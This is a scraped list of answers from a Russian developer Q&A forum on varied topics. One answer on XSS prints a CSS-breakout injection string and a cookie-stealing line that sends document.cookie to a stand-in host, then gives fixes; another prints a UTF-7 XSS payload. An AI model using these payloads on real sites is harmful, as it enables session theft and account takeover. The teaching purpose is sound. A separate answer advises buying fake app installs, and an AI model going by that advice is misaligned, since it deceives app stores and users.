• Где найти книгу по быстрому счету в уме?

    Keroro
    @Keroro
    Embedded engineer
    "Быстрый ум. Как забывать лишнее и помнить нужное"
    Ответ написан
    Комментировать
  • Где найти книгу по быстрому счету в уме?

    Билл Хэндли "Считайте в уме как компьютер". В сети водится нормальная пдфка на русском.
    "Trachtenberg Speed System of Basic Mathematics" тоже не сложной найти.
    Ответ написан
    Комментировать
  • Как правильно работать статейному сайту с Яндекс Дзен?

    gobananas
    @gobananas
    finishhim.ru
    1) Имеет, но сейчас сайт к Дзену можно прикрепить только после того как канал в Дзене наберёт 7000 дочитываний в неделю с длительностью более 40 секунд. Поэтому вам сначала надо будет пару месяцев качать Дзен вручную.

    2) Когда RSS подключите то переходы сразу на сайт будут происходить. Учитывая что Дзен сам по себе сейчас в поиске почти не висит, то нет, трафик в Дзен перетекать не будет.

    Хотя Яндекс всяко старается показать что любит в Дзен уникальный контент, а не перепечатанный, поэтому, пока сайт не подключили - статью в Дзен, а потом на сайт.
    Ответ написан
    Комментировать
  • Как набрать первые установки в Google Play?

    App2Top
    @App2Top
    Менеджер в сервисе App2Top
    Первые установки лучше набирать через специализированные сервисы по накрутке установок, потому что дает неплохой буст для вашего приложения и магазины начинают индексировать его

    Магазины, конечно, не любят такие методы, но ничего против не имеют)
    Ответ написан
    Комментировать
  • Почему не отображается реклама в приложении (adMob)?

    RockBearLTD
    @RockBearLTD
    Ленивый недопрограммист.
    AdMob платит только за клики. Есть много других рекламных сетей, у которые свои плюсы и минусы в сравнении с AdMob'ом. Например, ChartBoost, Unity Ads и др. Ах, да, чуть не забыл. У AdMob нет видео рекламы (а если я и напутал, то все равно они платят только за клики).

    А можно подробнее про первую часть вопроса? Какой именно id вы убрали?
    P.S.: Для показов рекламы обязательно надо иметь в приложении идентификатор рекламного блока, который выдается при создании самого блока на сайте AdMob.
    Ответ написан
    5 комментариев
  • Пентестинг. Доступен ли он обычным смертным?

    Freika
    @Freika
    Senior Ruby on Rails developer
    Комментировать
  • Как очистить сайт от "вируса"?

    dimonchik2013
    @dimonchik2013
    non progredi est regredi
    в WP обычно пролазит через модули, особенно давно не обновлявшиеся

    ингда лечится накатыванием всего нового на ту же базу (копию)
    Ответ написан
    Комментировать
  • Htmlspecialchars в golang?

    igorzakhar
    @igorzakhar
    Пример из документации к пакету "html" (https://golang.org/pkg/html/):
    package main
    
    import (
    	"fmt"
    	"html"
    )
    
    func main() {
    	const s = `"Fran & Freddie's Diner" <tasty@example.com>`
    	fmt.Println(html.EscapeString(s))
    }

    Вывод:
    &#34;Fran &amp; Freddie&#39;s Diner&#34; &lt;tasty@example.com&gt;
    Ответ написан
    1 комментарий
  • Создание своего blockchain на python?

    dimonchik2013
    @dimonchik2013
    non progredi est regredi
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @Mercury13
    Программист на «си с крестами» и не только
    Совет несколько устаревший, и вот он для чего.
    Есть откровенно странная кодировка под названием UTF-7, которую по-чёрному использовали для XSS. Например:
    +ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4-


    Задачей хакера было заставить браузер верить, что текст в UTF-7, прежде чем в HTML’е придёт маркер кодировки.
    IE11 поддерживал UTF-7, поддерживает ли Edge — не в курсе. Остальные браузеры отказались лет десять назад.

    Подробнее:
    https://nedbatchelder.com/blog/200704/xss_with_utf...

    Ну и будет просто некрасиво, если пользовательские данные появляются до маркера кодировки и браузер эту самую кодировку неверно опознал. Но хоть XSS не будет ни в одной кодировке, основанной на ASCII.
    Ответ написан
    3 комментария
  • Yandex карты Error: ymaps.modules: redefinition of route-content__icon что это?

    @webix
    Такая же история. Причем с картой ничего не делал. Подозреваю, что это яндекс чудит. Думаю, что нужно посидеть подождать, пока Яндекс устранит проблему
    Ответ написан
    1 комментарий
  • Как организовать отдел по продвижению в соц. медиа (SMM)?

    MIkola35
    @MIkola35
    Team Lead UX/UI Designer
    Alexx_ps , организовали отдел ? как успехи в этом вопросе ?
    Ответ написан
    Комментировать
  • Хочу писать на java приложения для Android, с чего начать?

    1) Находите "Харди Б., Филлипс Б., Стюарт К., Марсикано К. - Android. Программирование для профессионалов"

    2) Читаете, разбираете и реализуете все проекты которые там описаны.

    Примеры простые, описания подробные (как скачать, установить Android Studio, тоже есть)
    Ответ написан
    Комментировать
  • Что за эффект на canvas?

    lukoie
    @lukoie
    Ответ написан
    Комментировать
  • Как правильно релизиться в больших компаниях?

    DmitriyEntelis
    @DmitriyEntelis
    Думаю за деньги
    1. Фича-тим это хороший инструмент менеджера, для синхронизации технических решений и соответственно снижения рисков. В одновременные релизы разных команд я не верю.

    2. С "версионностью" мне кажется не так много сложностей на самом деле.
    Если воспринимать результат работы каждой команды как какой-то сервис с api наружу (а так наверное и есть), то по сути от команд требуется обеспечивать обратную совместимость новых версий api со старыми - задача которая в любом случае полезна.
    Делать версионность без обратной совместимости - очень плохая идея как мне кажется. Тут и затраты на поддержку, и затраты на переподключение у всех остальных команд.

    Еще очень важно, чтобы был вменяемый CTO / архитектор всего этого зоопарка. Ну или хотя бы просто был.

    Видел живые проекты где не было продумано общей архитектуры, - поверх слоя основных сервисов по бизнес требованиям писался 2й слой, через годик поверх 2го слоя писался 3й, ... в итоге к нашей эре слоев было ~12 и как это точно работает не знал мне кажется никто, - что впрочем не мешало проекту иметь десятки миллионов пользователей.
    Ответ написан
    Комментировать
  • Код в парадигме ООП PHP?

    27cm
    @27cm
    TODO: Написать статус
    Вообще мимо.

    Для начала надо сделать код рабочим. Некоторые вещи вроде class Article() { ... } и function find_by_user($user_id == nuul) написаны с ошибками.

    Потом читаем про конструкторы, про private/protected/public, забываем про var.
    Ответ написан
    Комментировать
  • Код в парадигме ООП PHP?

    makarenya
    @makarenya
    программист
    Вы сконцентрировались на попытке сделать ваше решение БД-ориентированным, в то время как вас не просили этого делать. Из за БД-ориентированности в вашем коде происходят странные вещи, можно сказать "магия". Некоторые вещи вообще странные, вроде списка статей внутри статьи.
    Вас просили сделать описания классов, методов и свойств класса в формате PhpDoc, а вы этого не сделали.

    Попробуйте ещё раз, но со следующими ограничениями:
    • В классе User оставьте только свойство $name и свойство $articlesList = [] - который будет уже списком статей, которые написал автор. Пусть список храниться внутри объекта пользователя, в ORM типа Doctrine так и происходит. Уберите оттуда $id.
    • Не забудьте добавить методы getName() и setName($newName) для работы со свойством name. Это является правильным для ООП - не позволять клиентам класса работать со свойствами напрямую, а лишь вызывая методы, которые вы предоставляете. Причина проста - в методе вы можете указать какое-нибудь дополнительное поведение, которое требуется при изменении свойства.
    • Также придумайте методы, необходимые для работы со списком статей. Ну вот два уже напрашивается из задания: "возможность для автора создать новую статью" и "возможность получить все статьи конкретного пользователя". Но по хорошему статью ещё и удалить можно...
    • Для статьи вам понадобятся 2 поля - это ссылка на автора (то есть сам объект класса User, а не магический id). То есть $author, и ещё, раз это статья, то ей неплохо бы добавить свойство $text.
    • А теперь главное - не пишите вообще текста методов. Только открыли фигурные скобки и сразу закройте на следующей строке. От вас этого не просили. И даже явно указали этого не делать!


    Если всё ещё сомневаетесь, то советую почитать обучалку по Doctrine. Там они постепенно создают совершенно коректные с точки зрения ООП классы User и Bug. (они это делают последовательно, так что не поленитесь докрутить до самого конца обучалки)
    Ответ написан
    2 комментария
  • Что такое бизнес логика android приложения?

    nki
    @nki
    bezkart.ru готовая система лояльности
    Уберите слово бизнес и все становиться понятнее, а смысл не меняется.
    Ответ написан
    Комментировать